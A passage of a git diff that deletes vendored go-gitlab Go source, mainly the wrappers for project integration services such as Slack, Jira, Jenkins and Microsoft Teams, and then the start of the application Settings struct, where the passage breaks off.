docs: -// https://docs.gitlab.com/ce/api/services.html#delete-external-wiki-service -func (s *ServicesService) DeleteExternalWikiService(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/external-wiki", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// GithubService represents Github service settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#github-premium -type GithubService struct { - Service - Properties *GithubServiceProperties `json:"properties"` -} - -// GithubServiceProperties represents Github specific properties. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#github-premium -type GithubServiceProperties struct { - RepositoryURL string `json:"repository_url,omitempty"` - StaticContext bool `json:"static_context,omitempty"` -} - -// GetGithubService gets Github service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#get-github-service-settings -func (s *ServicesService) GetGithubService(pid interface{}, options ...RequestOptionFunc) (*GithubService, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/services/github", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - svc := new(GithubService) - resp, err := s.client.Do(req, svc) - if err != nil { - return nil, resp, err - } - - return svc, resp, err -} - -// SetGithubServiceOptions represents the available SetGithubService() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#createedit-github-service -type SetGithubServiceOptions struct { - Token *string `url:"token,omitempty" json:"token,omitempty"` - RepositoryURL *string `url:"repository_url,omitempty" json:"repository_url,omitempty"` - StaticContext *bool `url:"static_context,omitempty" json:"static_context,omitempty"` -} - -// SetGithubService sets Github service for a project -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#createedit-github-service -func (s *ServicesService) SetGithubService(pid interface{}, opt *SetGithubServiceOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/github", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteGithubService deletes Github service for a project -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#delete-github-service -func (s *ServicesService) DeleteGithubService(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/github", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// SetGitLabCIServiceOptions represents the available SetGitLabCIService() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#edit-gitlab-ci-service -type SetGitLabCIServiceOptions struct { - Token *string `url:"token,omitempty" json:"token,omitempty"` - ProjectURL *string `url:"project_url,omitempty" json:"project_url,omitempty"` -} - -// SetGitLabCIService sets GitLab CI service for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#edit-gitlab-ci-service -func (s *ServicesService) SetGitLabCIService(pid interface{}, opt *SetGitLabCIServiceOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/gitlab-ci", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteGitLabCIService deletes GitLab CI service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#delete-gitlab-ci-service -func (s *ServicesService) DeleteGitLabCIService(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/gitlab-ci", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// SetHipChatServiceOptions represents the available SetHipChatService() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#edit-hipchat-service -type SetHipChatServiceOptions struct { - Token *string `url:"token,omitempty" json:"token,omitempty" ` - Room *string `url:"room,omitempty" json:"room,omitempty"` -} - -// SetHipChatService sets HipChat service for a project -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#edit-hipchat-service -func (s *ServicesService) SetHipChatService(pid interface{}, opt *SetHipChatServiceOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/hipchat", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteHipChatService deletes HipChat service for project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#delete-hipchat-service -func (s *ServicesService) DeleteHipChatService(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/hipchat", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// JenkinsCIService represents Jenkins CI service settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/services.html#jenkins-ci -type JenkinsCIService struct { - Service - Properties *JenkinsCIServiceProperties `json:"properties"` -} - -// JenkinsCIServiceProperties represents Jenkins CI specific properties. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/services.html#jenkins-ci -type JenkinsCIServiceProperties struct { - URL string `json:"jenkins_url,omitempty"` - ProjectName string `json:"project_name,omitempty"` - Username string `json:"username,omitempty"` -} - -// GetJenkinsCIService gets Jenkins CI service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/services.html#get-jenkins-ci-service-settings -func (s *ServicesService) GetJenkinsCIService(pid interface{}, options ...RequestOptionFunc) (*JenkinsCIService, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/services/jenkins", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - svc := new(JenkinsCIService) - resp, err := s.client.Do(req, svc) - if err != nil { - return nil, resp, err - } - - return svc, resp, err -} - -// SetJenkinsCIServiceOptions represents the available SetJenkinsCIService() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/services.html#jenkins-ci -type SetJenkinsCIServiceOptions struct { - URL *string `url:"jenkins_url,omitempty" json:"jenkins_url,omitempty"` - ProjectName *string `url:"project_name,omitempty" json:"project_name,omitempty"` - Username *string `url:"username,omitempty" json:"username,omitempty"` - Password *string `url:"password,omitempty" json:"password,omitempty"` -} - -// SetJenkinsCIService sets Jenkins service for a project -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/services.html#create-edit-jenkins-ci-service -func (s *ServicesService) SetJenkinsCIService(pid interface{}, opt *SetJenkinsCIServiceOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/jenkins", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteJenkinsCIService deletes Jenkins CI service for project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#delete-jira-service -func (s *ServicesService) DeleteJenkinsCIService(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/jenkins", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// JiraService represents Jira service settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#jira -type JiraService struct { - Service - Properties *JiraServiceProperties `json:"properties"` -} - -// JiraServiceProperties represents Jira specific properties. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#jira -type JiraServiceProperties struct { - URL string `json:"url,omitempty"` - APIURL string `json:"api_url,omitempty"` - ProjectKey string `json:"project_key,omitempty" ` - Username string `json:"username,omitempty" ` - Password string `json:"password,omitempty" ` - JiraIssueTransitionID string `json:"jira_issue_transition_id,omitempty"` -} - -// UnmarshalJSON decodes the Jira Service Properties. -// -// This allows support of JiraIssueTransitionID for both type string (>11.9) and float64 (<11.9) -func (p *JiraServiceProperties) UnmarshalJSON(b []byte) error { - type Alias JiraServiceProperties - raw := struct { - *Alias - JiraIssueTransitionID interface{} `json:"jira_issue_transition_id"` - }{ - Alias: (*Alias)(p), - } - - if err := json.Unmarshal(b, &raw); err != nil { - return err - } - - switch id := raw.JiraIssueTransitionID.(type) { - case nil: - // No action needed. - case string: - p.JiraIssueTransitionID = id - case float64: - p.JiraIssueTransitionID = strconv.Itoa(int(id)) - default: - return fmt.Errorf("failed to unmarshal JiraTransitionID of type: %T", id) - } - - return nil -} - -// GetJiraService gets Jira service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#get-jira-service-settings -func (s *ServicesService) GetJiraService(pid interface{}, options ...RequestOptionFunc) (*JiraService, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/services/jira", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - svc := new(JiraService) - resp, err := s.client.Do(req, svc) - if err != nil { - return nil, resp, err - } - - return svc, resp, err -} - -// SetJiraServiceOptions represents the available SetJiraService() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#edit-jira-service -type SetJiraServiceOptions struct { - URL *string `url:"url,omitempty" json:"url,omitempty"` - APIURL *string `url:"api_url,omitempty" json:"api_url,omitempty"` - ProjectKey *string `url:"project_key,omitempty" json:"project_key,omitempty" ` - Username *string `url:"username,omitempty" json:"username,omitempty" ` - Password *string `url:"password,omitempty" json:"password,omitempty" ` - Active *bool `url:"active,omitempty" json:"active,omitempty"` - JiraIssueTransitionID *string `url:"jira_issue_transition_id,omitempty" json:"jira_issue_transition_id,omitempty"` - CommitEvents *bool `url:"commit_events,omitempty" json:"commit_events,omitempty"` - MergeRequestsEvents *bool `url:"merge_requests_events,omitempty" json:"merge_requests_events,omitempty"` - CommentOnEventEnabled *bool `url:"comment_on_event_enabled,omitempty" json:"comment_on_event_enabled,omitempty"` -} - -// SetJiraService sets Jira service for a project -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#edit-jira-service -func (s *ServicesService) SetJiraService(pid interface{}, opt *SetJiraServiceOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/jira", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteJiraService deletes Jira service for project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#delete-jira-service -func (s *ServicesService) DeleteJiraService(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/jira", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// MicrosoftTeamsService represents Microsoft Teams service settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#microsoft-teams -type MicrosoftTeamsService struct { - Service - Properties *MicrosoftTeamsServiceProperties `json:"properties"` -} - -// MicrosoftTeamsServiceProperties represents Microsoft Teams specific properties. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#microsoft-teams -type MicrosoftTeamsServiceProperties struct { - WebHook string `json:"webhook"` - NotifyOnlyBrokenPipelines BoolValue `json:"notify_only_broken_pipelines"` - BranchesToBeNotified string `json:"branches_to_be_notified"` - IssuesEvents BoolValue `json:"issues_events"` - ConfidentialIssuesEvents BoolValue `json:"confidential_issues_events"` - MergeRequestsEvents BoolValue `json:"merge_requests_events"` - TagPushEvents BoolValue `json:"tag_push_events"` - NoteEvents BoolValue `json:"note_events"` - ConfidentialNoteEvents BoolValue `json:"confidential_note_events"` - PipelineEvents BoolValue `json:"pipeline_events"` - WikiPageEvents BoolValue `json:"wiki_page_events"` -} - -// GetMicrosoftTeamsService gets MicrosoftTeams service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#get-microsoft-teams-service-settings -func (s *ServicesService) GetMicrosoftTeamsService(pid interface{}, options ...RequestOptionFunc) (*MicrosoftTeamsService, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/services/microsoft-teams", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - svc := new(MicrosoftTeamsService) - resp, err := s.client.Do(req, svc) - if err != nil { - return nil, resp, err - } - - return svc, resp, err -} - -// SetMicrosoftTeamsServiceOptions represents the available SetMicrosoftTeamsService() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#create-edit-microsoft-teams-service -type SetMicrosoftTeamsServiceOptions struct { - WebHook *string `url:"webhook,omitempty" json:"webhook,omitempty"` - NotifyOnlyBrokenPipelines *bool `url:"notify_only_broken_pipelines" json:"notify_only_broken_pipelines"` - BranchesToBeNotified *string `url:"branches_to_be_notified,omitempty" json:"branches_to_be_notified,omitempty"` - PushEvents *bool `url:"push_events,omitempty" json:"push_events,omitempty"` - IssuesEvents *bool `url:"issues_events,omitempty" json:"issues_events,omitempty"` - ConfidentialIssuesEvents *bool `url:"confidential_issues_events,omitempty" json:"confidential_issues_events,omitempty"` - MergeRequestsEvents *bool `url:"merge_requests_events,omitempty" json:"merge_requests_events,omitempty"` - TagPushEvents *bool `url:"tag_push_events,omitempty" json:"tag_push_events,omitempty"` - NoteEvents *bool `url:"note_events,omitempty" json:"note_events,omitempty"` - ConfidentialNoteEvents *bool `url:"confidential_note_events,omitempty" json:"confidential_note_events,omitempty"` - PipelineEvents *bool `url:"pipeline_events,omitempty" json:"pipeline_events,omitempty"` - WikiPageEvents *bool `url:"wiki_page_events,omitempty" json:"wiki_page_events,omitempty"` -} - -// SetMicrosoftTeamsService sets Microsoft Teams service for a project -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#create-edit-microsoft-teams-service -func (s *ServicesService) SetMicrosoftTeamsService(pid interface{}, opt *SetMicrosoftTeamsServiceOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/microsoft-teams", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, err - } - return s.client.Do(req, nil) -} - -// DeleteMicrosoftTeamsService deletes Microsoft Teams service for project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#delete-microsoft-teams-service -func (s *ServicesService) DeleteMicrosoftTeamsService(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/microsoft-teams", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// PipelinesEmailService represents Pipelines Email service settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/services.html#pipeline-emails -type PipelinesEmailService struct { - Service - Properties *PipelinesEmailProperties `json:"properties"` -} - -// PipelinesEmailProperties represents PipelinesEmail specific properties. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/services.html#pipeline-emails -type PipelinesEmailProperties struct { - Recipients string `json:"recipients,omitempty"` - NotifyOnlyBrokenPipelines BoolValue `json:"notify_only_broken_pipelines,omitempty"` - NotifyOnlyDefaultBranch BoolValue `json:"notify_only_default_branch,omitempty"` - BranchesToBeNotified string `json:"branches_to_be_notified,omitempty"` -} - -// GetPipelinesEmailService gets Pipelines Email service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/services.html#get-pipeline-emails-service-settings -func (s *ServicesService) GetPipelinesEmailService(pid interface{}, options ...RequestOptionFunc) (*PipelinesEmailService, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/services/pipelines-email", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - svc := new(PipelinesEmailService) - resp, err := s.client.Do(req, svc) - if err != nil { - return nil, resp, err - } - - return svc, resp, err -} - -// SetPipelinesEmailServiceOptions represents the available SetPipelinesEmailService() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/services.html#pipeline-emails -type SetPipelinesEmailServiceOptions struct { - Recipients *string `url:"recipients,omitempty" json:"recipients,omitempty"` - NotifyOnlyBrokenPipelines *bool `url:"notify_only_broken_pipelines,omitempty" json:"notify_only_broken_pipelines,omitempty"` - NotifyOnlyDefaultBranch *bool `url:"notify_only_default_branch,omitempty" json:"notify_only_default_branch,omitempty"` - AddPusher *bool `url:"add_pusher,omitempty" json:"add_pusher,omitempty"` - BranchesToBeNotified *string `url:"branches_to_be_notified,omitempty" json:"branches_to_be_notified,omitempty"` - PipelineEvents *bool `url:"pipeline_events,omitempty" json:"pipeline_events,omitempty"` -} - -// SetPipelinesEmailService sets Pipelines Email service for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/services.html#pipeline-emails -func (s *ServicesService) SetPipelinesEmailService(pid interface{}, opt *SetPipelinesEmailServiceOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/pipelines-email", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeletePipelinesEmailService deletes Pipelines Email service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/services.html#delete-pipeline-emails-service -func (s *ServicesService) DeletePipelinesEmailService(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/pipelines-email", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// SlackService represents Slack service settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#slack -type SlackService struct { - Service - Properties *SlackServiceProperties `json:"properties"` -} - -// SlackServiceProperties represents Slack specific properties. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#slack -type SlackServiceProperties struct { - WebHook string `json:"webhook,omitempty"` - Username string `json:"username,omitempty"` - Channel string `json:"channel,omitempty"` - NotifyOnlyBrokenPipelines BoolValue `json:"notify_only_broken_pipelines,omitempty"` - NotifyOnlyDefaultBranch BoolValue `json:"notify_only_default_branch,omitempty"` - BranchesToBeNotified string `json:"branches_to_be_notified,omitempty"` - ConfidentialIssueChannel string `json:"confidential_issue_channel,omitempty"` - ConfidentialNoteChannel string `json:"confidential_note_channel,omitempty"` - DeploymentChannel string `json:"deployment_channel,omitempty"` - IssueChannel string `json:"issue_channel,omitempty"` - MergeRequestChannel string `json:"merge_request_channel,omitempty"` - NoteChannel string `json:"note_channel,omitempty"` - TagPushChannel string `json:"tag_push_channel,omitempty"` - PipelineChannel string `json:"pipeline_channel,omitempty"` - PushChannel string `json:"push_channel,omitempty"` - WikiPageChannel string `json:"wiki_page_channel,omitempty"` -} - -// GetSlackService gets Slack service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#get-slack-service-settings -func (s *ServicesService) GetSlackService(pid interface{}, options ...RequestOptionFunc) (*SlackService, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/services/slack", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - svc := new(SlackService) - resp, err := s.client.Do(req, svc) - if err != nil { - return nil, resp, err - } - - return svc, resp, err -} - -// SetSlackServiceOptions represents the available SetSlackService() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#edit-slack-service -type SetSlackServiceOptions struct { - WebHook *string `url:"webhook,omitempty" json:"webhook,omitempty"` - Username *string `url:"username,omitempty" json:"username,omitempty"` - Channel *string `url:"channel,omitempty" json:"channel,omitempty"` - NotifyOnlyBrokenPipelines *bool `url:"notify_only_broken_pipelines,omitempty" json:"notify_only_broken_pipelines,omitempty"` - NotifyOnlyDefaultBranch *bool `url:"notify_only_default_branch,omitempty" json:"notify_only_default_branch,omitempty"` - BranchesToBeNotified *string `url:"branches_to_be_notified,omitempty" json:"branches_to_be_notified,omitempty"` - ConfidentialIssueChannel *string `url:"confidential_issue_channel,omitempty" json:"confidential_issue_channel,omitempty"` - ConfidentialIssuesEvents *bool `url:"confidential_issues_events,omitempty" json:"confidential_issues_events,omitempty"` - // TODO: Currently, GitLab ignores this option (not implemented yet?), so - // there is no way to set it. Uncomment when this is fixed. - // See: https://gitlab.com/gitlab-org/gitlab-ce/issues/49730 - //ConfidentialNoteChannel *string `json:"confidential_note_channel,omitempty"` - ConfidentialNoteEvents *bool `url:"confidential_note_events,omitempty" json:"confidential_note_events,omitempty"` - DeploymentChannel *string `url:"deployment_channel,omitempty" json:"deployment_channel,omitempty"` - DeploymentEvents *bool `url:"deployment_events,omitempty" json:"deployment_events,omitempty"` - IssueChannel *string `url:"issue_channel,omitempty" json:"issue_channel,omitempty"` - IssuesEvents *bool `url:"issues_events,omitempty" json:"issues_events,omitempty"` - MergeRequestChannel *string `url:"merge_request_channel,omitempty" json:"merge_request_channel,omitempty"` - MergeRequestsEvents *bool `url:"merge_requests_events,omitempty" json:"merge_requests_events,omitempty"` - TagPushChannel *string `url:"tag_push_channel,omitempty" json:"tag_push_channel,omitempty"` - TagPushEvents *bool `url:"tag_push_events,omitempty" json:"tag_push_events,omitempty"` - NoteChannel *string `url:"note_channel,omitempty" json:"note_channel,omitempty"` - NoteEvents *bool `url:"note_events,omitempty" json:"note_events,omitempty"` - PipelineChannel *string `url:"pipeline_channel,omitempty" json:"pipeline_channel,omitempty"` - PipelineEvents *bool `url:"pipeline_events,omitempty" json:"pipeline_events,omitempty"` - PushChannel *string `url:"push_channel,omitempty" json:"push_channel,omitempty"` - PushEvents *bool `url:"push_events,omitempty" json:"push_events,omitempty"` - WikiPageChannel *string `url:"wiki_page_channel,omitempty" json:"wiki_page_channel,omitempty"` - WikiPageEvents *bool `url:"wiki_page_events,omitempty" json:"wiki_page_events,omitempty"` -} - -// SetSlackService sets Slack service for a project -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#edit-slack-service -func (s *ServicesService) SetSlackService(pid interface{}, opt *SetSlackServiceOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/slack", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteSlackService deletes Slack service for project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#delete-slack-service -func (s *ServicesService) DeleteSlackService(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/slack", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// CustomIssueTrackerService represents Custom Issue Tracker service settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#custom-issue-tracker -type CustomIssueTrackerService struct { - Service - Properties *CustomIssueTrackerServiceProperties `json:"properties"` -} - -// CustomIssueTrackerServiceProperties represents Custom Issue Tracker specific properties. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#custom-issue-tracker -type CustomIssueTrackerServiceProperties struct { - ProjectURL string `json:"project_url,omitempty"` - IssuesURL string `json:"issues_url,omitempty"` - NewIssueURL string `json:"new_issue_url,omitempty"` -} - -// GetCustomIssueTrackerService gets Custom Issue Tracker service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#get-custom-issue-tracker-service-settings -func (s *ServicesService) GetCustomIssueTrackerService(pid interface{}, options ...RequestOptionFunc) (*CustomIssueTrackerService, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/services/custom-issue-tracker", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - svc := new(CustomIssueTrackerService) - resp, err := s.client.Do(req, svc) - if err != nil { - return nil, resp, err - } - - return svc, resp, err -} - -// SetCustomIssueTrackerServiceOptions represents the available SetCustomIssueTrackerService() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#createedit-custom-issue-tracker-service -type SetCustomIssueTrackerServiceOptions struct { - NewIssueURL *string `url:"new_issue_url,omitempty" json:"new_issue_url,omitempty"` - IssuesURL *string `url:"issues_url,omitempty" json:"issues_url,omitempty"` - ProjectURL *string `url:"project_url,omitempty" json:"project_url,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - Title *string `url:"title,omitempty" json:"title,omitempty"` - PushEvents *bool `url:"push_events,omitempty" json:"push_events,omitempty"` -} - -// SetCustomIssueTrackerService sets Custom Issue Tracker service for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#createedit-custom-issue-tracker-service -func (s *ServicesService) SetCustomIssueTrackerService(pid interface{}, opt *SetCustomIssueTrackerServiceOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/custom-issue-tracker", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteCustomIssueTrackerService deletes Custom Issue Tracker service settings for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/services.html#delete-custom-issue-tracker-service -func (s *ServicesService) DeleteCustomIssueTrackerService(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/services/custom-issue-tracker", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/settings.go b/vendor/github.com/xanzy/go-gitlab/settings.go deleted file mode 100644 index 8811c8c208..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/settings.go +++ /dev/null @@ -1,409 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import "time" - -// SettingsService handles communication with the application SettingsService -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/settings.html -type SettingsService struct { - client *Client -} - -// Settings represents the GitLab application settings. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/settings.html -type Settings struct { - ID int `json:"id"` - CreatedAt *time.Time `json:"created_at"` - UpdatedAt *time.Time `json:"updated_at"` - AdminNotificationEmail string `json:"admin_notification_email"` - AfterSignOutPath string `json:"after_sign_out_path"` - AfterSignUpText string `json:"after_sign_up_text"` - AkismetAPIKey string `json:"akismet_api_key"` - AkismetEnabled bool `json:"akismet_enabled"` - AllowGroupOwnersToManageLDAP bool `json:"allow_group_owners_to_manage_ldap"` - AllowLocalRequestsFromHooksAndServices bool `json:"allow_local_requests_from_hooks_and_services"` - AllowLocalRequestsFromSystemHooks bool `json:"allow_local_requests_from_system_hooks"` - AllowLocalRequestsFromWebHooksAndServices bool `json:"allow_local_requests_from_web_hooks_and_services"` - ArchiveBuildsInHumanReadable string `json:"archive_builds_in_human_readable"` - AssetProxyEnabled bool `json:"asset_proxy_enabled"` - AssetProxySecretKey string `json:"asset_proxy_secret_key"` - AssetProxyURL string `json:"asset_proxy_url"` - AssetProxyWhitelist []string `json:"asset_proxy_whitelist"` - AuthorizedKeysEnabled bool `json:"authorized_keys_enabled_enabled"` - AutoDevOpsDomain string `json:"auto_devops_domain"` - AutoDevOpsEnabled bool `json:"auto_devops_enabled"` - CheckNamespacePlan bool `json:"check_namespace_plan"` - CommitEmailHostname string `json:"commit_email_hostname"` - ContainerRegistryTokenExpireDelay int `json:"container_registry_token_expire_delay"` - DefaultArtifactsExpireIn string `json:"default_artifacts_expire_in"` - DefaultBranchProtection int `json:"default_branch_protection"` - DefaultGroupVisibility VisibilityValue `json:"default_group_visibility"` - DefaultProjectCreation int `json:"default_project_creation"` - DefaultProjectsLimit int `json:"default_projects_limit"` - DefaultProjectVisibility VisibilityValue `json:"default_project_visibility"` - DefaultSnippetVisibility VisibilityValue `json:"default_snippet_visibility"` - 